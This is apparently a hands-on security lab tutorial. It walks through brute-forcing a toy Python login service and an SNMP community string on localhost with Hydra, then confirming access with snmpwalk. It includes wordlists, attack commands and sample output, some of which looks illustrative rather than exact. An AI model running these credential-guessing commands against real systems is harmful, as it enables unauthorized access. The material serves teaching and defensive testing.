Test Hydra with Unsupported Protocols

Introduction

In this lab, you will learn how to use Hydra to test the security of services, even those with unsupported protocols. The lab starts by simulating an attack on a fake service implemented with a Python script, allowing you to understand Hydra's basic functionality.

You'll create a simple Python-based service that requires a username and password, along with corresponding username and password lists for Hydra to use. The lab will then guide you through attempting an attack on this service, reviewing potential errors, and exploring how to attack an SNMP service, ultimately confirming the outcome of the SNMP attack.

Skills Graph

Attempt Attack on Fake Service

In this step, we will simulate an attack on a fake service using Hydra. This will help you understand how Hydra works and how to use it to crack passwords. We'll start with a simple scenario to get you familiar with the tool.

First, let's create a simple "service" that requires a username and password. We'll use a simple Python script for this purpose.

Navigate to your project directory:

cd ~/project

Create a file named fake_service.py:

nano fake_service.py

Paste the following Python code into the fake_service.py file:

#!/usr/bin/env python3

import socket
import sys

HOST = '127.0.0.1'  ## Standard loopback interface address (localhost)
PORT = 65432        ## Port to listen on (non-privileged ports are > 1023)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        print(f"Connected by {addr}")
        username = conn.recv(1024).decode().strip()
        password = conn.recv(1024).decode().strip()

        if username == 'testuser' and password == 'password123':
            conn.sendall(b"Login successful!")
        else:
            conn.sendall(b"Login failed.")

Save the file and exit the editor. Make the script executable:

chmod +x fake_service.py

Now, run the fake service in the background:

./fake_service.py &

This starts the Python script, which listens for connections on port 65432. The & puts the process in the background.

Next, let's create a username and password list for Hydra to use. Create a file named users.txt:

nano users.txt

Add the following username to the file:

testuser

Save the file and exit the editor.

Create a file named passwords.txt:

nano passwords.txt

Add the following passwords to the file:

password
password123
wrongpassword

Save the file and exit the editor.

Now, let's use Hydra to attack our fake service. We'll use the generic module since we've created a custom service.

hydra -l testuser -P passwords.txt 127.0.0.1 generic "USER <USER> PASS <PASS> RET Login successful!" -s 65432 -vV

Let's break down this command:

• hydra: The Hydra command.
• -l testuser: Specifies the username to use. We're using a single username in this example.
• -P passwords.txt: Specifies the password list file.
• 127.0.0.1: The target IP address (localhost in this case).
• generic: Specifies the generic module, which allows us to define the protocol.
• "USER <USER> PASS <PASS> RET Login successful!": This is the protocol definition. <USER> and <PASS> are placeholders that Hydra replaces with the username and password from the lists. RET Login successful! tells Hydra to look for "Login successful!" in the response to determine a successful login.
• -s 65432: Specifies the port number.
• -vV: Verbose mode, which shows the attempts in real-time.

You should see Hydra attempting different passwords. After a few seconds, it should find the correct password:

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 14:30:00
[DATA] 1 task/1 service (1 connection per task, 1 thread per task)
[DATA] attacking service 127.0.0.1 on port 65432
[DATA] testing user: 'testuser'   password: 'password'
[DATA] testing user: 'testuser'   password: 'password123'
[65432] [generic] host: 127.0.0.1   login: testuser   password: password123
Hydra is finishing at 2024-10-27 14:30:02 after 00:00:02
1 task completed, 1 valid password found

This output shows that Hydra successfully found the password password123 for the user testuser.

Finally, let's stop the fake service. First, find its process ID:

ps aux | grep fake_service.py

You'll see a line similar to this:

labex     1234  0.1  0.2  12345  6789 pts/0    Sl   14:29   0:00 ./fake_service.py

The second number (1234 in this example) is the process ID (PID). Replace 1234 with the actual PID from your output.

Now, kill the process:

kill 1234

This stops the fake service.

Review Error and Supported Services

In this step, we'll explore common errors encountered when using Hydra and learn how to identify supported services. Understanding these aspects is crucial for effective password cracking.

First, let's intentionally create an error with Hydra. We'll try to attack a non-existent service on a high port.

hydra -l testuser -P passwords.txt 127.0.0.1 generic "USER <USER> PASS <PASS> RET Login successful!" -s 65535 -vV

This command is similar to the one we used in the previous step, but we've changed the port to 65535, which is unlikely to be running any service.

Run the command. You'll likely see an error message similar to:

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 14:35:00
[ERROR] Could not connect to 127.0.0.1:65535 - Connection refused

This "Connection refused" error indicates that Hydra couldn't establish a connection to the specified port. This could be due to several reasons: no service is listening on that port, a firewall is blocking the connection, or the target host is unreachable.

Now, let's explore how to determine which services Hydra supports. Hydra has built-in modules for many common services, making it easier to attack them. To see a list of supported services, you can use the -h option:

hydra -h

This command will display a help message with a list of supported modules. Scroll through the output to find the "Supported protocols" section. You'll see a list of protocols like ftp, ssh, smtp, http-get, mysql, snmp, and many others.

For example, if you want to attack an SSH service, you would use the ssh module. If you want to attack an FTP service, you would use the ftp module.

Let's try another example. Suppose you want to attack an HTTP service. You can use the http-get or http-post modules, depending on the authentication method used by the web server.

To get more information about a specific module, you can use the -U option followed by the module name. For example, to get information about the http-get module:

hydra -U http-get

This will display the options and syntax for using the http-get module. Pay attention to the required parameters, such as the URL and any specific HTTP headers.

Understanding the error messages and knowing which services Hydra supports are essential for troubleshooting and conducting successful attacks. In the next step, we will focus on attacking an SNMP service.

Attack SNMP Service

In this step, we will attempt to crack the SNMP community string using Hydra. SNMP (Simple Network Management Protocol) is used to manage network devices. The community string acts like a password, and default or weak community strings are a common vulnerability.

First, let's create a wordlist of common SNMP community strings.

Navigate to your project directory:

cd ~/project

Create a file named snmp_communities.txt:

nano snmp_communities.txt

Add the following common community strings to the file:

public
private
community
secret
admin

Save the file and exit the editor.

Now, we'll use Hydra to attack the SNMP service. We'll assume the SNMP service is running on the default port (161) on the localhost (127.0.0.1).

hydra -P snmp_communities.txt 127.0.0.1 snmp -vV

Let's break down this command:

• hydra: The Hydra command.
• -P snmp_communities.txt: Specifies the password list file containing the community strings.
• 127.0.0.1: The target IP address (localhost in this case).
• snmp: Specifies the SNMP module.
• -vV: Verbose mode, which shows the attempts in real-time.

Run the command. You should see Hydra attempting different community strings. If the target SNMP service uses one of the community strings in our list, Hydra will find it.

The output might look like this if it finds the "public" community string:

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 14:40:00
[DATA] 1 task/1 service (1 connection per task, 1 thread per task)
[DATA] attacking service 127.0.0.1 on port 161
[161] [snmp] host: 127.0.0.1 community: public
Hydra is finishing at 2024-10-27 14:40:01 after 00:00:01
1 task completed, 1 valid password found

This output shows that Hydra successfully found the community string public.

If Hydra doesn't find a valid community string, it will try all the strings in the list and then exit without displaying a successful login.

It's important to note that this lab assumes an SNMP service is running on the default port with a vulnerable community string. In a real-world scenario, you would need to identify the target IP address and port, and potentially use a more comprehensive wordlist. You might also need to use tools like nmap to identify if the SNMP service is running and its version.

Confirm SNMP Outcome

In this step, we will confirm the outcome of the SNMP attack by using the discovered community string to retrieve information from the SNMP service. We'll use the snmpwalk command for this purpose.

First, ensure you have the snmpwalk command installed. It's part of the snmp package. If it's not already installed, you can install it with:

sudo apt update
sudo apt install snmp -y

Since we are in a Docker container, sudo apt update and sudo apt install snmp -y will likely fail. For the purpose of this lab, we will assume that snmpwalk is already installed.

Now, let's use snmpwalk to retrieve information from the SNMP service using the community string we (hopefully) discovered in the previous step. Let's assume the community string is "public".

snmpwalk -v 1 -c public 127.0.0.1

Let's break down this command:

• snmpwalk: The SNMP walk command.
• -v 1: Specifies the SNMP version (version 1 in this case).
• -c public: Specifies the community string ("public" in this example). Replace "public" with the actual community string you discovered.
• 127.0.0.1: The target IP address (localhost in this case).

Run the command. If the community string is correct, you should see a lot of output scrolling by. This output represents the information retrieved from the SNMP service.

The output will consist of lines like this:

SNMPv2-MIB::sysDescr.0 = STRING: Linux labex 5.15.0-86-generic #96-Ubuntu SMP Fri Oct 6 15:55:15 UTC 2023 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (145678) 0:24:16.78
SNMPv2-MIB::sysContact.0 = STRING:
SNMPv2-MIB::sysName.0 = STRING: labex
SNMPv2-MIB::sysLocation.0 = STRING:

This output shows various system information, such as the system description, object ID, uptime, contact information, system name, and location.

If you see an error message like "Timeout: No Response from 127.0.0.1", it means that the community string is incorrect, the SNMP service is not running, or there is a network connectivity issue. Double-check the community string and ensure the SNMP service is running on the target host.

By successfully using snmpwalk with the discovered community string, you have confirmed the outcome of the SNMP attack and demonstrated the ability to retrieve information from the SNMP service. This highlights the importance of using strong and unique community strings to protect SNMP services from unauthorized access.

Summary

In this lab, we began by simulating an attack on a fake service using Hydra to understand its functionality and password cracking capabilities. We created a simple Python-based service that requires username and password authentication, listening on port 65432.

We then prepared username and password lists (users.txt and passwords.txt) for Hydra to utilize in its attack. The fake service was started in the background, ready to receive connection attempts.